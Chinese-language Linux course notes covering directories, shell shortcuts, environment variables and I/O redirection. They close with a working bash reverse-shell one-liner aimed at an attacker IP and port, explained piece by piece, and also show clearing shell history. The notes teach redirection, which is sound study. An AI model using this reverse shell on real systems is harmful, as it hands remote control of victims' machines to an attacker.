4.1-Linux系统结构
Linux系统结构
- 内核
- Shell
- 文件系统
- 应用程序
Linux操作系统内核
- 管理进程
- 管理内存
- 管理驱动
- 管理文件和网络
…
Linux Shell
接收用户的命令,经过转换,交给内核去执行
cat —> open() read()
- 简化操作
- 安全
Linux Shell工具(了解)
名称 | 程序路径 | 作者 |
---|---|---|
bourne Shell | /usr/bin/sh或/bin/sh | Stephen Bourne |
C Shell | /usr/bin/csh | Bill Joy |
K Shell | /usr/bin/ksh | David Korn |
Bourne Again Shell | /bin/bash | Brian Fox |
Z Shell | /bin/zsh或/usr/bin/zsh | Paul Falstad |
Windows: cmd、Power Shell
Shell和Terminal
Shell编程/Shell脚本(.sh)
Linux文件系统
“一切皆文件”
普通文件、目录、进程(/proc)、输入输出设备(/dev)、网络字节流socket、链接文件、管道文件
查看文件 | 作用 |
---|---|
lsof /bin/bash | 查看某个文件相关的进程 |
lsof -u root | 列出某个用户打开的文件信息 |
lsof -c redis | 列出某个程序进程所打开的文件信息 |
lsof -i tcp | 列出所有tcp网络连接信息 |
… | … |
Linux目录
(颜色无需记忆)
根目录文件-1
(理解,无需记忆)
目录 | 作用 | 备注 |
---|---|---|
bin | 存放普通用户可执行的指令 | 即使在单用户模式下也能够执行处理 |
boot | 开机引导目录 | 包括Linux内核文件与开机所需要的所需要的文件 |
dev | 设备目录 | 所有的硬件设备及周边均放置在这个设备目录中,比如声卡、磁盘 |
etc | 各种配置文件目录 | 大部分配置属性均存放在这里 |
lib | 库文件存放地,bin和sbin需要的库文件 | 类似windows的DDL |
media | 可移除设备挂载目录 | 类似U盘、光盘、移动硬盘等临时挂放目录 |
根目录文件-2
目录 | 作用 | 备注 |
---|---|---|
mnt | 用户临时挂载其他的文件系统 | 额外的设备可挂载在这里,相对临时而言 |
opt | 第三方软件安装目录 | 现在习惯地放置在/usr/local中 |
proc | 虚拟文件系统 | 通常是内存中的映射,特别注意在误删数据文件后,比如DB,只要系统不重启,还是有很大几率能将数据找回来**(了解)** |
root | 系统管理员目录 | 除root之外,其他用户均放置在/home目录下 |
run | 系统运行时所需文件 | 以前放置在/var/run中,后来拆分成独立的run目录。重启后生成对应的目录数据 |
根目录文件-3
目录 | 作用 | 备注 |
---|---|---|
sbin | 只有root才能运行的管理命令 | 跟bin类似,但只属于root管理员 |
srv | 服务启动后需要访问的数据目录 | |
sys | 跟proc一样,虚拟文件系统 | 记录核心系统硬件信息 |
tmp | 存放临时文件目录 | 所有用户对该目录均可读写 |
usr | 应用程序放置目录 | |
var | 存放系统执行过程经常改变的文件 |
用户主目录
主目录:home directory
root用户的主目录是 /root
其他用户的主目录是 /home/用户名
cd 空格 或者 cd ~
工作目录:working directory
目录指代
符号 | 指代 |
---|---|
绝对路径 | 由根目录 / 开始写起 |
相对路径 | 从当前所在的工作目录开始写起 |
/ | 根目录 |
. | 代表当前目录 |
~ | 代表用户工作目录,vim ~/.bashrc |
…/ | 代表上一级目录 |
…/…/ | 上上一级目录,以此类推,超出范围的时候代表根目录 |
4.2-Linux常用操作
命令帮助
man command(manual)——具体参数和使用方法**(用的最多)**
whatis command——命令的简要说明**(了解)**
info command——详细介绍**(了解)**
help command——Linux内置命令**(了解)**
关机重启(root用户)
关机:
poweroff
shutdown -h now
halt -p
重启:
reboot
快捷键和命令-1
操作 | 作用 |
---|---|
Tab键 | 补全命令和目录(自动提示) |
方向键 | 上一条命令:↑;下一条命令↓ |
Ctrl + r | 搜索历史命令,回车执行 |
!cd: | 重复执行最近一次,以cd开头的历史命令 |
Ctrl + Insert(不是所有电脑都用得了,本人就用不了) | 复制 |
Shift + Insert(不是所有电脑都用得了,本人就用不了) | 粘贴 |
Alt + Insert(不是所有电脑都用得了,本人就用不了) | 复制并粘贴 |
快捷键和命令-2
操作 | 作用 |
---|---|
Ctrl + E | 光标移动到行尾 |
Ctrl + A | 光标移动到行首 |
Ctrl + K | 清楚光标后至行尾 |
Ctrl + U | 清楚光标前至行首间的所有内容 |
clear | 清屏,但是命令都还在 |
history | 查看历史命令 |
history -c | 清楚历史命令 kali: echo > ~/.zsh_history |
别名设置
查看别名:alias
设置别名(以bash为例):vim ~/.bashrc
格式:alias short=‘xxx;xxx’
生效:source ~/.bashrc
通配符
符号 | 指代 |
---|---|
* | 任意字符 |
? | 单个字符 |
[] | 可以查询到与括号内匹配的结果,比如[0-9] [a-z] |
{} | 可以查询到与括号内文件类型匹配的所有文件结果 ll {*.log, *.txt} |
^ | 取反 ll *{^txt} 查找不是.txt结尾的文件 |
系统环境变量
查看全部变量:env
查看单个变量:echo $XXX
用户变量:~/.bashrc
系统变量:/etc/profile
案例:设置JDK环境变量
vim /etc/profileexport JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile
4.3-文件描述符和重定向
文件描述符 File Descriptor
ID | 描述 | 设备 |
---|---|---|
0 | 标准输入(stdin) | 键盘 |
1 | 标准输出(stdout) | 显示器 |
2 | 标准错误输出(stderr) | 显示器 |
重定向
符号 | 类别 |
---|---|
>和>> | 输出重定向 |
&> | 表示将一个流(stream)重定向到另一个文件描述符(file descriptor) |
<和<< | 输入重定向 |
重定向:改变输入输出的方向
输出重定向
>:覆盖
>>:追加
输入重定向
命令格式 | 示例 |
---|---|
command < file | 将file文件中的内容作为command的输入(省略了0) |
command < END | 从标准输入(键盘)中读取数据,直到遇见分界符才停止 |
command < file1> file2 | 将file1作为command的输入,并将command的处理结果输出到file2 |
wc -l < test.txt | 统计test.txt文件中有多少行文本 |
wc -l << END | 统计用户在终端输入的文本的行数 |
Shift+ G
q:退出
bash反弹连接案例
(不需要理解什么是反弹连接,为什么它可以获得一个控制别人的窗口)
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i 在靶机打开交互式的Shell
/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口
>&和&>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机**——接收结果用。**
0>&1,左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出**——接收命令用。**
所以,靶机的输入输出都到了攻击机上。